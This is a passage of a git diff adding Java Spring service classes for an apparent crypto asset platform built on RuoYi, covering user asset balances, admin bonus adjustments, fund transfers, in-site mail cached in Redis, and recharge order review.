com.ruoyi.bussiness.mapper.TWithdrawMapper; +import com.ruoyi.bussiness.service.ITAppAssetService; +import com.ruoyi.bussiness.service.ITAppRechargeService; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.utils.*; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; + +import javax.annotation.Resource; + +/** + * 玩家资产Service业务层处理 + * + * @author ruoyi + * @date 2023-06-30 + */ +@Service +public class TAppAssetServiceImpl extends ServiceImpl implements ITAppAssetService +{ + @Resource + private TAppAssetMapper tAppAssetMapper; + @Resource + private TAppUserMapper tAppUserMapper; + @Resource + private TAppWalletRecordServiceImpl tAppWalletRecordService; + @Resource + private ITAppRechargeService itAppRechargeService; + @Resource + private TWithdrawMapper tWithdrawMapper; + /** + * 查询玩家资产 + * + * @param userId 玩家资产主键 + * @return 玩家资产 + */ + @Override + public TAppAsset selectTAppAssetByUserId(Long userId) + { + return tAppAssetMapper.selectTAppAssetByUserId(userId); + } + + /** + * 查询玩家资产列表 + * + * @param tAppAsset 玩家资产 + * @return 玩家资产 + */ + @Override + public List selectTAppAssetList(TAppAsset tAppAsset) + { + return tAppAssetMapper.selectTAppAssetList(tAppAsset); + } + + /** + * 新增玩家资产 + * + * @param tAppAsset 玩家资产 + * @return 结果 + */ + @Override + public int insertTAppAsset(TAppAsset tAppAsset) + { + tAppAsset.setCreateTime(DateUtils.getNowDate()); + return tAppAssetMapper.insertTAppAsset(tAppAsset); + } + + /** + * 修改玩家资产 + * + * @param tAppAsset 玩家资产 + * @return 结果 + */ + @Override + public int updateTAppAsset(TAppAsset tAppAsset) + { + tAppAsset.setUpdateTime(DateUtils.getNowDate()); + return tAppAssetMapper.updateTAppAsset(tAppAsset); + } + + /** + * 批量删除玩家资产 + * + * @param userIds 需要删除的玩家资产主键 + * @return 结果 + */ + @Override + public int deleteTAppAssetByUserIds(Long[] userIds) + { + return tAppAssetMapper.deleteTAppAssetByUserIds(userIds); + } + + /** + * 删除玩家资产信息 + * + * @param userId 玩家资产主键 + * @return 结果 + */ + @Override + public int deleteTAppAssetByUserId(Long userId) + { + return tAppAssetMapper.deleteTAppAssetByUserId(userId); + } + + /** + * 平台资产 + * @param userId + * @return + */ + @Override + public Map getAssetByUserIdList(Long userId) { + List list = tAppAssetMapper.selectList(new LambdaQueryWrapper().eq(TAppAsset::getUserId,userId).eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode())); + Map map = new HashMap<>(); + list.stream().forEach(asset -> { + map.put(asset.getSymbol() + asset.getUserId(), asset); + }); + return map; + } + + @Override + public TAppAsset getAssetByUserIdAndType(Long userId, Integer type) { + return tAppAssetMapper.selectOne(new LambdaQueryWrapper().eq(TAppAsset::getUserId,userId).eq(TAppAsset::getType,type)); + } + + @Override + public int updateByUserId(TAppAsset tAppAsset) { + return tAppAssetMapper.updateByUserId(tAppAsset); + } + + @Override + @Transactional + public int sendBouns(UserBonusVO userBounsVO) { + TAppUser appUser = tAppUserMapper.selectById(userBounsVO.getUserId()); + TAppAsset appAsset = tAppAssetMapper.selectOne(new LambdaQueryWrapper() + .eq(TAppAsset::getUserId, userBounsVO.getUserId()) + .eq(TAppAsset::getSymbol, userBounsVO.getSymbol()) + .eq(TAppAsset::getType, userBounsVO.getType())); + Integer code=RecordEnum.SEND_BONUS.getCode(); + String remark=(userBounsVO.getRemark()==null?RecordEnum.SEND_BONUS.getInfo():userBounsVO.getRemark()); + + String serialId = "C" + OrderUtils.generateOrderNum(); + + if("0".equals(userBounsVO.getGiveType())){ + //上分 + tAppWalletRecordService.generateRecord(userBounsVO.getUserId(),userBounsVO.getAmount(), code, + userBounsVO.getCreateBy(),serialId,remark, + appAsset.getAmout(),appAsset.getAmout().add(userBounsVO.getAmount()),userBounsVO.getSymbol(),appUser.getAdminParentIds()); + appAsset.setAmout(appAsset.getAmout().add(userBounsVO.getAmount())); + appAsset.setAvailableAmount(appAsset.getAvailableAmount().add(userBounsVO.getAmount())); + //新增充值订单 + TAppRecharge recharge = new TAppRecharge(); + recharge.setOrderType("2"); + recharge.setSerialId(serialId); + recharge.setUserId(appUser.getUserId()); + recharge.setUsername(appUser.getLoginName()); + recharge.setAmount(userBounsVO.getAmount()); + recharge.setBonus(0L); + recharge.setStatus("1"); + recharge.setType(userBounsVO.getSymbol().toUpperCase()); + recharge.setAppParentIds(appUser.getAppParentIds()); + recharge.setAdminParentIds(appUser.getAdminParentIds()); + recharge.setCoin(userBounsVO.getSymbol().toLowerCase()); + recharge.setRealAmount(userBounsVO.getAmount()); + recharge.setOperateTime(new Date()); + recharge.setCreateTime(new Date()); + recharge.setCreateBy(appUser.getLoginName()); + recharge.setUpdateTime(new Date()); + itAppRechargeService.save(recharge); + } + if("1".equals(userBounsVO.getGiveType())){ + if(userBounsVO.getAmount().compareTo(appAsset.getAmout())>0){ + return 1; + } + code=RecordEnum.SUB_BONUS.getCode(); + remark=(userBounsVO.getRemark()==null?RecordEnum.SUB_BONUS.getInfo():userBounsVO.getRemark()); + tAppWalletRecordService.generateRecord(userBounsVO.getUserId(),userBounsVO.getAmount(), code, + userBounsVO.getCreateBy(),serialId,remark, + appAsset.getAmout(),appAsset.getAmout().subtract(userBounsVO.getAmount()),userBounsVO.getSymbol(),appUser.getAdminParentIds()); + appAsset.setAmout(appAsset.getAmout().subtract(userBounsVO.getAmount())); + appAsset.setAvailableAmount(appAsset.getAvailableAmount().subtract(userBounsVO.getAmount())); + //新增提现订单 + TWithdraw withdraw = new TWithdraw(); + withdraw.setOrderType("2"); + withdraw.setAmount(userBounsVO.getAmount()); + withdraw.setType(userBounsVO.getSymbol().toUpperCase()); + withdraw.setStatus(1); + withdraw.setUserId(appUser.getUserId()); + withdraw.setUsername(appUser.getLoginName()); + Date now = new Date(); + withdraw.setUpdateTime(now); + withdraw.setCreateTime(now); + withdraw.setOperateTime(now); + withdraw.setCreateBy(appUser.getLoginName()); + withdraw.setNoticeFlag(1); + withdraw.setRealAmount(userBounsVO.getAmount()); + withdraw.setSerialId(serialId); + withdraw.setCoin(userBounsVO.getSymbol().toLowerCase()); + withdraw.setAdminParentIds(appUser.getAdminParentIds()); + tWithdrawMapper.insertTWithdraw(withdraw); + } + + tAppAssetMapper.updateByUserId(appAsset); + return 0; + } + @Override + public int subAmount(UserBonusVO userBounsVO) { + TAppUser appUser = tAppUserMapper.selectById(userBounsVO.getUserId()); + TAppAsset appAsset = tAppAssetMapper.selectOne(new LambdaQueryWrapper() + .eq(TAppAsset::getUserId, userBounsVO.getUserId()) + .eq(TAppAsset::getSymbol, userBounsVO.getSymbol()) + .eq(TAppAsset::getType, userBounsVO.getType())); + Integer code=RecordEnum.SEND_AMOUNT.getCode(); + String remark=(userBounsVO.getRemark()==null?RecordEnum.SEND_AMOUNT.getInfo():userBounsVO.getRemark()); + if("0".equals(userBounsVO.getGiveType())){ + //上分 + tAppWalletRecordService.generateRecord(userBounsVO.getUserId(),userBounsVO.getAmount(), code, + userBounsVO.getCreateBy(),"C" + OrderUtils.generateOrderNum(),remark, + appAsset.getAmout(),appAsset.getAmout().add(userBounsVO.getAmount()),userBounsVO.getSymbol(),appUser.getAdminParentIds()); + appAsset.setAmout(appAsset.getAmout().add(userBounsVO.getAmount())); + appAsset.setAvailableAmount(appAsset.getAvailableAmount().add(userBounsVO.getAmount())); + } + if("1".equals(userBounsVO.getGiveType())){ + if(userBounsVO.getAmount().compareTo(appAsset.getAmout())>0){ + return 1; + } + code=RecordEnum.SUB_AMOUNT.getCode(); + remark=(userBounsVO.getRemark()==null?RecordEnum.SUB_AMOUNT.getInfo():userBounsVO.getRemark()); + tAppWalletRecordService.generateRecord(userBounsVO.getUserId(),userBounsVO.getAmount(), code, + userBounsVO.getCreateBy(),"C" + OrderUtils.generateOrderNum(),remark, + appAsset.getAmout(),appAsset.getAmout().subtract(userBounsVO.getAmount()),userBounsVO.getSymbol(),appUser.getAdminParentIds()); + appAsset.setAmout(appAsset.getAmout().subtract(userBounsVO.getAmount())); + appAsset.setAvailableAmount(appAsset.getAvailableAmount().subtract(userBounsVO.getAmount())); + } + + + + tAppAssetMapper.updateByUserId(appAsset); + return 0; + } + @Override + public int noSettlementAssetByUserId(Long userId, String symbol, BigDecimal amout) { + Map map = new HashMap<>(); + map.put("userId", userId); + map.put("symbol", symbol); + map.put("money", amout); + map.put("type", AssetEnum.CONTRACT_ASSETS.getCode()); + return tAppAssetMapper.noSettlementAssetByUserId(map); + } + + @Override + public int createAsset(TAppUser user, String coin, Integer type) { + TAppAsset tAppAsset = new TAppAsset(); + tAppAsset.setUserId(user.getUserId()); + tAppAsset.setAdress(user.getAddress()); + tAppAsset.setSymbol(coin); + tAppAsset.setAmout(BigDecimal.ZERO); + tAppAsset.setOccupiedAmount(BigDecimal.ZERO); + tAppAsset.setAvailableAmount(BigDecimal.ZERO); + tAppAsset.setType(type); + tAppAsset.setCreateTime(DateUtils.getNowDate()); + tAppAsset.setUpdateTime(DateUtils.getNowDate()); + return tAppAssetMapper.insertTAppAsset(tAppAsset); + + + } + + @Override + public int reduceAssetByUserId(Long userId, String symbol, BigDecimal amout) { + Map map = new HashMap<>(); + map.put("userId", userId); + map.put("symbol", symbol); + map.put("money", amout); + map.put("type", AssetEnum.PLATFORM_ASSETS.getCode()); + return tAppAssetMapper.reduceAssetByUserId(map); + } + + @Override + public int addAssetByUserId(Long userId, String symbol, BigDecimal amout) { + Map map = new HashMap<>(); + map.put("userId", userId); + map.put("symbol", symbol); + map.put("money", amout); + map.put("type", AssetEnum.PLATFORM_ASSETS.getCode()); + return tAppAssetMapper.addAssetByUserId(map); + } + + @Override + public int occupiedAssetByUserId(Long userId, String symbol, BigDecimal amout) { + Map map = new HashMap<>(); + map.put("userId", userId); + map.put("symbol", symbol); + map.put("money", amout); + map.put("type", AssetEnum.PLATFORM_ASSETS.getCode()); + return tAppAssetMapper.occupiedAssetByUserId(map); + } + + @Override + public int settlementOccupiedCurrencyOrder(Long userId, String symbol, BigDecimal occupiedAmout, BigDecimal subtract) { + Map map = new HashMap<>(); + map.put("userId", userId); + map.put("symbol", symbol); + map.put("availableAmount", subtract); + map.put("money", occupiedAmout); + map.put("subtract", occupiedAmout.add(subtract)); + map.put("type", AssetEnum.PLATFORM_ASSETS.getCode()); + return tAppAssetMapper.settlementOccupiedCurrencyOrder(map); + } + + @Override + public String transferFunds(AssetTransFundsVO assetTransFundsVo) { + long userId = StpUtil.getLoginIdAsLong(); + TAppUser appUser = tAppUserMapper.selectById(userId); + //效验转出账户余额 + String coin = assetTransFundsVo.getCoin().toLowerCase(); + TAppAsset outAsset = tAppAssetMapper.selectOne(new LambdaQueryWrapper().eq(TAppAsset::getUserId,userId).eq(TAppAsset::getSymbol, coin).eq(TAppAsset::getType, assetTransFundsVo.getTransferOutAccount())); + if(outAsset.getAvailableAmount().compareTo(assetTransFundsVo.getAmount())<0){ + return MessageUtils.message("asset_amount_error"); + } + //资金充足 开始划转 1 转出 扣减余额 2 转入 增加余额 + BigDecimal availableAmount = outAsset.getAvailableAmount(); + outAsset.setAvailableAmount(availableAmount.subtract(assetTransFundsVo.getAmount())); + outAsset.setAmout(outAsset.getAmout().subtract(assetTransFundsVo.getAmount())); + tAppAssetMapper.updateTAppAsset(outAsset); + //添加帐变 + tAppWalletRecordService.generateRecord(userId,assetTransFundsVo.getAmount(), RecordEnum.FUND_TRANSFER.getCode(),"", "",RecordEnum.FUND_TRANSFER.getInfo(),availableAmount,availableAmount.subtract(assetTransFundsVo.getAmount()), outAsset.getSymbol(),appUser.getAdminParentIds()); + + + + TAppAsset inAsset = tAppAssetMapper.selectOne(new LambdaQueryWrapper().eq(TAppAsset::getUserId,userId).eq(TAppAsset::getSymbol, coin).eq(TAppAsset::getType, assetTransFundsVo.getTransferInAccount())); + BigDecimal availableAmount1 = inAsset.getAvailableAmount(); + inAsset.setAvailableAmount(availableAmount1.add(assetTransFundsVo.getAmount())); + inAsset.setAmout(inAsset.getAmout().add(assetTransFundsVo.getAmount())); + tAppAssetMapper.updateTAppAsset(inAsset); + //添加帐变 + tAppWalletRecordService.generateRecord(userId,assetTransFundsVo.getAmount(), RecordEnum.FUND_TRANSFER.getCode(),"", "",RecordEnum.FUND_TRANSFER.getInfo(),availableAmount1,availableAmount1.add(assetTransFundsVo.getAmount()), inAsset.getSymbol(),appUser.getAdminParentIds()); + return null; + } + + @Override + public List tAppAssetService() { + List list = tAppAssetMapper.selectList(new LambdaQueryWrapper().eq(TAppAsset::getUserId, StpUtil.getLoginIdAsLong()).eq(TAppAsset::getSymbol, "usdt")); + return list; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppMailServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppMailServiceImpl.java new file mode 100644 index 0000000..7e2bad7 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppMailServiceImpl.java @@ -0,0 +1,242 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.sql.Array; +import java.util.ArrayList; +import java.util.List; +import java.util.Objects; + +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.mapper.TAppUserMapper; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TAppMailMapper; +import com.ruoyi.bussiness.domain.TAppMail; +import com.ruoyi.bussiness.service.ITAppMailService; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; + +/** + * 1v1站内信Service业务层处理 + * + * @author ruoyi + * @date 2023-07-18 + */ +@Service +public class TAppMailServiceImpl extends ServiceImpl implements ITAppMailService +{ + @Autowired + private TAppMailMapper tAppMailMapper; + @Resource + private RedisCache redisCache; + @Resource + private TAppUserMapper tAppUserMapper; + + /** + * 查询1v1站内信 + * + * @param id 1v1站内信主键 + * @return 1v1站内信 + */ + @Override + public TAppMail selectTAppMailById(Long id) + { + return tAppMailMapper.selectTAppMailById(id); + } + + /** + * 查询1v1站内信列表 + * + * @param tAppMail 1v1站内信 + * @return 1v1站内信 + */ + @Override + public List selectTAppMailList(TAppMail tAppMail) + { + return tAppMailMapper.selectTAppMailList(tAppMail); + } + + /** + * 新增1v1站内信 + * + * @param tAppMail 1v1站内信 + * @return 结果 + */ + @Transactional + @Override + public int insertTAppMail(TAppMail tAppMail) + { + int i = 0; + String keyCommon = CachePrefix.COMMONALITY_MAIL.getPrefix(); + tAppMail.setCreateTime(DateUtils.getNowDate()); + tAppMail.setDelFlag("0"); + tAppMail.setStatus(0); + tAppMail.setOpertorId(SecurityUtils.getUsername()); + if (tAppMail.getType().equals("1")){ + String[] userIds = tAppMail.getUserIds().split(","); + for (int j = 0; j < userIds.length; j++) { + tAppMail.setUserId(Long.parseLong(userIds[j])); + i = tAppMailMapper.insertTAppMail(tAppMail); + String key = CachePrefix.USER_MAIL.getPrefix() + tAppMail.getUserId(); + List list = redisCache.getCacheObject(key); + if (CollectionUtils.isEmpty(list)){ + List mailList = new ArrayList<>(); + mailList.add(tAppMail); + redisCache.setCacheObject(key,mailList); + }else{ + list.add(tAppMail); + redisCache.setCacheObject(key,list); + } + } + }else{ + i = tAppMailMapper.insertTAppMail(tAppMail); + List list = redisCache.getCacheObject(keyCommon); + if (CollectionUtils.isEmpty(list)){ + List mailList = new ArrayList<>(); + mailList.add(tAppMail); + redisCache.setCacheObject(keyCommon,mailList); + }else{ + list.add(tAppMail); + redisCache.setCacheObject(keyCommon,list); + } + } + + return i; + } + + /** + * 修改1v1站内信 + * + * @param tAppMail 1v1站内信 + * @return 结果 + */ + @Override + public int updateTAppMail(TAppMail tAppMail) + { + tAppMail.setUpdateTime(DateUtils.getNowDate()); + return tAppMailMapper.updateTAppMail(tAppMail); + } + + /** + * 批量删除1v1站内信 + * + * @param ids 需要删除的1v1站内信主键 + * @return 结果 + */ + @Override + @Transactional + public int deleteTAppMailByIds(Long[] ids) + { + return tAppMailMapper.deleteTAppMailByIds(ids); + } + + /** + * 删除1v1站内信信息 + * + * @param id 1v1站内信主键 + * @return 结果 + */ + @Override + public int deleteTAppMailById(Long id) + { + if(!Objects.isNull(id)){ + TAppMail tAppMail = tAppMailMapper.selectTAppMailById(id); + if (tAppMail.getType().equals("1")){ + if (!Objects.isNull(tAppMail)){ + String key = CachePrefix.USER_MAIL.getPrefix() + tAppMail.getUserId(); + List list = redisCache.getCacheObject(key); + List copyList = new ArrayList<>(); + if (!CollectionUtils.isEmpty(list)){ + copyList.addAll(list); + copyList.stream().forEach(appMail -> { + if (appMail.getId().equals(tAppMail.getId())){ + list.remove(appMail); + } + }); + } + if (!CollectionUtils.isEmpty(list)){ + redisCache.setCacheObject(key,list); + }else{ + redisCache.deleteObject(key); + } + } + }else{ + String keyCommon = CachePrefix.COMMONALITY_MAIL.getPrefix(); + List list = redisCache.getCacheObject(keyCommon); + List copyList = new ArrayList<>(); + if (!CollectionUtils.isEmpty(list)){ + copyList.addAll(list); + copyList.stream().forEach(appMail -> { + if (appMail.getId().equals(tAppMail.getId())){ + list.remove(appMail); + } + }); + } + if (!CollectionUtils.isEmpty(list)){ + redisCache.setCacheObject(keyCommon,list); + }else{ + redisCache.deleteObject(keyCommon); + } + } + + } + return tAppMailMapper.deleteTAppMailById(id); + } + + @Override + public List listByUserId(TAppMail tAppMail) { + String key = CachePrefix.USER_MAIL.getPrefix() + tAppMail.getUserId(); + String keyCommon = CachePrefix.COMMONALITY_MAIL.getPrefix(); + List list = redisCache.getCacheObject(key); + List mailList = redisCache.getCacheObject(keyCommon); +// if (CollectionUtils.isEmpty(list)){ +// list =tAppMailMapper.selectTAppMailList(tAppMail); +// } +// if (CollectionUtils.isEmpty(mailList)){ +// mailList =tAppMailMapper.selectList(new LambdaQueryWrapper().eq(TAppMail::getType,"2")); +// } + list = CollectionUtils.isEmpty(list)?new ArrayList<>():list; + mailList = CollectionUtils.isEmpty(mailList)?new ArrayList<>():mailList; + list.addAll(mailList); + return list; + } + + @Transactional + @Override + public int updateMail(Long[] ids, TAppUser appUser) { + int j = 0; + String key = CachePrefix.USER_MAIL.getPrefix() + appUser.getUserId(); + List list = redisCache.getCacheObject(key); + list = CollectionUtils.isEmpty(list)?new ArrayList<>():list; + List listCopy = new ArrayList<>(); + listCopy.addAll(list); + if (ids.length>0){ + for (int i = 0; i < ids.length; i++) { + if (!CollectionUtils.isEmpty(list)){ + for (TAppMail m:listCopy) { + if (m.getId().equals(ids[i])){ + list.remove(m); + } + } + TAppMail tAppMail = new TAppMail(); + tAppMail.setId(ids[i]); + tAppMail.setStatus(1); + j = tAppMailMapper.updateTAppMail(tAppMail); + } + } + } + if (CollectionUtils.isEmpty(list)){ + redisCache.deleteObject(key); + } + return j; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppRechargeServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppRechargeServiceImpl.java new file mode 100644 index 0000000..7235adc --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppRechargeServiceImpl.java @@ -0,0 +1,294 @@ +package com.ruoyi.bussiness.service.impl; +import cn.hutool.json.JSONUtil; +import com.alibaba.fastjson.JSON; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.util.*; + +import com.ruoyi.bussiness.domain.TAppAsset; +import com.ruoyi.bussiness.domain.TAppRecharge; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.setting.AddMosaicSetting; +import com.ruoyi.bussiness.domain.setting.AssetCoinSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.mapper.TAppRechargeMapper; +import com.ruoyi.bussiness.mapper.TAppUserMapper; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.*; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.OrderUtils; +import com.ruoyi.common.utils.RedisUtil; +import com.ruoyi.common.utils.SecurityUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; + +import javax.annotation.Resource; + +/** + * 用户充值Service业务层处理 + * + * @author ruoyi + * @date 2023-07-04 + */ +@Service +public class TAppRechargeServiceImpl extends ServiceImpl implements ITAppRechargeService +{ + private static final Logger log = LoggerFactory.getLogger(TAppRechargeServiceImpl.class); + @Resource + private TAppRechargeMapper tAppRechargeMapper; + @Resource + private ITAppAssetService tAppAssetService; + @Resource + private TAppUserMapper tAppUserMapper; + @Resource + private RedisUtil redisUtil; + @Value("${admin-redis-stream.names}") + private String redisStreamNames; + @Resource + private ITAppWalletRecordService walletRecordService; + @Resource + private ITActivityRechargeService itActivityRechargeService; + @Resource + private SettingService settingService; + @Resource + private RedisCache redisCache; + + /** + * 查询用户充值 + * + * @param id 用户充值主键 + * @return 用户充值 + */ + @Override + public TAppRecharge selectTAppRechargeById(Long id) + { + return tAppRechargeMapper.selectTAppRechargeById(id); + } + + /** + * 查询用户充值列表 + * + * @param tAppRecharge 用户充值 + * @return 用户充值 + */ + @Override + public List selectTAppRechargeList(TAppRecharge tAppRecharge) + { + return tAppRechargeMapper.selectTAppRechargeList(tAppRecharge); + } + + /** + * 新增用户充值 + * + * @param user 用户信息 + * @return 结果 + */ + @Override + @Transactional + public int insertTAppRecharge(TAppUser user) + { + Map params = user.getParams(); + String serialId = "W" + OrderUtils.generateOrderNum(); + TAppRecharge recharge = new TAppRecharge(); + //usdt交易的话需要乘汇率 + recharge.setAddress(String.valueOf(params.get("address"))); + recharge.setSerialId(serialId); + recharge.setUserId(user.getUserId()); + recharge.setUsername(user.getLoginName()); + recharge.setCreateBy(user.getLoginName()); + recharge.setUpdateBy(user.getLoginName()); + recharge.setCreateTime(new Date()); + recharge.setAppParentIds(user.getAppParentIds()); + recharge.setUpdateTime(new Date()); + recharge.setBonus(0L); + recharge.setStatus("0"); + recharge.setType(String.valueOf(params.get("type"))); + recharge.setCoin(params.get("coin")+""); + if (params.get("amount")!=null){ + recharge.setAmount(new BigDecimal(params.get("amount")+"")); + recharge.setRealAmount(new BigDecimal(params.get("amount")+"")); + } + recharge.setFileName(params.get("filePath")+""); + recharge.setAdminParentIds(user.getAdminParentIds()); + recharge.setNoticeFlag(0); + int i = tAppRechargeMapper.insert(recharge); + //socket 通知后台 + HashMap object = new HashMap<>(); + object.put(CacheConstants.RECHARGE_KEY_BOT, JSON.toJSONString(recharge)); + redisUtil.addStream(redisStreamNames,object); + return i; + } + + /** + * 修改用户充值 + * + * @param tAppRecharge 用户充值 + * @return 结果 + */ + @Override + public int updateTAppRecharge(TAppRecharge tAppRecharge) + { + tAppRecharge.setUpdateTime(DateUtils.getNowDate()); + return tAppRechargeMapper.updateTAppRecharge(tAppRecharge); + } + + /** + * 批量删除用户充值 + * + * @param ids 需要删除的用户充值主键 + * @return 结果 + */ + @Override + public int deleteTAppRechargeByIds(Long[] ids) + { + return tAppRechargeMapper.deleteTAppRechargeByIds(ids); + } + + /** + * 删除用户充值信息 + * + * @param id 用户充值主键 + * @return 结果 + */ + @Override + public int deleteTAppRechargeById(Long id) + { + return tAppRechargeMapper.deleteTAppRechargeById(id); + } + + @Override + public Map sumtotal(TAppRecharge tAppRecharge) { + return tAppRechargeMapper.sumtotal(tAppRecharge); + } + + @Override + public List selectRechargeList(TAppRecharge tAppRecharge) { + return tAppRechargeMapper.selectRechargeList(tAppRecharge); + } + + + @Override + public String failedOrder(TAppRecharge tAppRecharge) { + String username = SecurityUtils.getUsername(); + String msg = ""; + TAppRecharge recharge = tAppRechargeMapper.selectById(tAppRecharge.getId()); + if (recharge!=null){ + if (RecoenOrderStatusEmun.audit.getCode().equals(recharge.getStatus())) { + // 审核驳回 + recharge.setStatus(RecoenOrderStatusEmun.failed.getCode()); + recharge.setUpdateBy(username); + recharge.setUpdateTime(new Date()); + recharge.setRemark(tAppRecharge.getRemark()); + recharge.setRechargeRemark(tAppRecharge.getRechargeRemark()); + recharge.setOperateTime(new Date()); + tAppRechargeMapper.updateStatus(recharge); + }else{ + msg = "订单状态不对,不能审核"; + } + }else{ + msg = "没有查询到需要审核的订单"; + } + return msg; + } + + @Override + public List selectRechargeVoice(String parentId) { + return tAppRechargeMapper.selectRechargeVoice(parentId); + } + + @Override + public BigDecimal getAllRecharge(String parentId, Integer type) { + return tAppRechargeMapper.getAllRecharge(parentId,type); + } + + @Override + @Transactional + public String passOrder(TAppRecharge tAppRecharge) { + String msg = ""; + String username = SecurityUtils.getUsername(); + BigDecimal usdt; + BigDecimal beforeMount = null; + String remark = null; + // String coin=""; + TAppRecharge recharge = tAppRechargeMapper.selectById(tAppRecharge.getId()); + if (recharge!=null){ + //资产 + Map assetMap=tAppAssetService.getAssetByUserIdList(recharge.getUserId()); + recharge.setRealAmount(tAppRecharge.getRealAmount()); + usdt=recharge.getAmount(); + String type=recharge.getType(); + String coin=recharge.getCoin(); + if (RecoenOrderStatusEmun.audit.getCode().equals(recharge.getStatus())) { + recharge.setStatus(RecoenOrderStatusEmun.pass.getCode()); + recharge.setUpdateBy(username); + recharge.setUpdateTime(new Date()); + TAppUser user = tAppUserMapper.selectTAppUserByUserId(recharge.getUserId()); + Setting setting = settingService.get(SettingEnum.ASSET_COIN.name()); + List currencyList = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), AssetCoinSetting.class); + if (currencyList!=null && currencyList.size()>0){ + for (AssetCoinSetting assetCoin: currencyList) { + if (assetCoin.getCoinName().equals(type)){ + TAppAsset asset= assetMap.get(assetCoin.getCoin()+recharge.getUserId()); + if(null ==asset){ + //充值币种不存在 去初始化资产 + tAppAssetService.createAsset(user,assetCoin.getCoin().toLowerCase(),AssetEnum.PLATFORM_ASSETS.getCode()); + asset=tAppAssetService.getOne(new LambdaQueryWrapper() + .eq(TAppAsset::getUserId,user.getUserId()) + .eq(TAppAsset::getType,AssetEnum.PLATFORM_ASSETS.getCode()) + .eq(TAppAsset::getSymbol,assetCoin.getCoin().toLowerCase()) + ); + } + beforeMount = asset.getAvailableAmount(); + remark = assetCoin.getCoinName()+"充值"; + coin=assetCoin.getCoin(); + tAppAssetService.updateByUserId(TAppAsset.builder().type(asset.getType()).symbol(coin).userId(recharge.getUserId()).amout(asset.getAmout().add(usdt)).availableAmount(beforeMount.add(usdt)).build()); + } + } + } +// + walletRecordService.generateRecord(recharge.getUserId(), recharge.getAmount(), RecordEnum.RECHARGE.getCode(), username, recharge.getSerialId(),remark,beforeMount, beforeMount.add(recharge.getAmount()),coin,user.getAdminParentIds()); + recharge.setRemark(tAppRecharge.getRemark()); + recharge.setRechargeRemark(tAppRecharge.getRechargeRemark()); + recharge.setOperateTime(new Date()); + tAppRechargeMapper.updateStatus(recharge); + + itActivityRechargeService.caseBackToFather(recharge.getUserId(), recharge.getAmount(),type,username,recharge.getSerialId()); + + //充值打码累计 + Setting addMosaicSetting = settingService.get(SettingEnum.ADD_MOSAIC_SETTING.name()); + if (Objects.nonNull(addMosaicSetting)){ + AddMosaicSetting addMosaic = JSONUtil.toBean(addMosaicSetting.getSettingValue(), AddMosaicSetting.class); + if (Objects.nonNull(addMosaic) && Objects.nonNull(addMosaic.getIsOpen()) + && addMosaic.getIsOpen()){ + BigDecimal price = BigDecimal.ONE; + try { + if (Objects.isNull(user.getRechargeAmont())) user.setRechargeAmont(BigDecimal.ZERO); + if (!"usdt".equals(recharge.getCoin())) { + price = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + recharge.getCoin().toLowerCase()); + user.setRechargeAmont(user.getRechargeAmont().add(recharge.getAmount().multiply(price))); + } else { + user.setRechargeAmont(user.getRechargeAmont().add(recharge.getAmount())); + } + tAppUserMapper.updateRechargeAmont(user); + }catch (Exception e) { + e.printStackTrace(); + } + } + } + }else{ + log.error("[审核订单>>>]","订单状态不对,不能审核"); + msg = "订单状态不对,不能审核"; + } + }else{ + msg = "没有查询到需要审核的订单"; + } + return msg; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppUserDetailServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppUserDetailServiceImpl.java new file mode 100644 index 0000000..285e297 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppUserDetailServiceImpl.java @@ -0,0 +1,109 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; + +import com.ruoyi.bussiness.domain.TAppUserDetail; +import com.ruoyi.bussiness.mapper.TAppUserDetailMapper; +import com.ruoyi.bussiness.service.ITAppUserDetailService; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.DateUtils; +import 